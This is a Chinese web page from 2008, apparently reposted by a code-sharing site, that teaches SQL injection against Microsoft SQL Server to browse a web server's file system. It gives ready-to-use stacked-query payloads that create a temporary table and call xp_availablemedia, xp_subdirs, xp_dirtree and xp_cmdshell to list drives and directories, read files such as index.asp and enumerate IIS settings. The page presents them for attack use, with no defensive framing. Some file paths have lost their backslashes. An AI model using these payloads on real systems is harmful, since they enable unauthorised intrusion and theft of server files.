当前位置:首页 > 服务器类 > 安全防护 > > 如何利用Sql 注入遍历目录

如何利用Sql 注入遍历目录

点击次数:26 次 发布日期:2008-11-29 17:48:26 作者:源代码网


源代码网供稿.

源代码网推荐

by :sinka QQ:20355 Msn:roservior@vip.sina.com

如何利用Sql 注入遍历目录 关于如何取得注入入口不再说了,前面的帖子都说得很详细了,我们就如何浏览全部目录和文件进行研究当System_user为"sa"时,具有全部权限,包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除,我们可以利用它来遍历全部目录,执行如下:先创建一个临时表:temp "5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 接下来:(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中: 5";insert temp exec master.dbo.xp_availablemedia;-- 我们可以通过查询temp的内容来获得驱动器列表及相关信息(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中: 5";insert into temp(id) exec master.dbo.xp_subdirs "c:";-- (3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中: 5";insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";-- 这样就可以成功的浏览到所有的目录(文件夹)列表:如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell: 5";insert into temp(id) exec master.dbo.xp_cmdshell "type c:webindex.asp";-- 浏览temp就可以看到index.asp文件的内容了! 当然,如果xp_cmshell能够执行,我们可以用它来完成: 5";insert into temp(id) exec master.dbo.xp_cmdshell "dir c:";-- 5";insert into temp(id) exec master.dbo.xp_cmdshell "dir c: *.asp /s/a";-- 通过xp_cmdshell我们可以看到所有想看到的,包括W3svc 5";insert into temp(id) exec master.dbo.xp_cmdshell "cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc" 但是,如果不是Admin的权限,我们还可以使用 5";insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";-- 如果大家还有什么好的方法欢迎与我讨论研究

源代码网整理以下

网友评论 (0)
会员中心
服务器类
本站推荐
服务器类之精华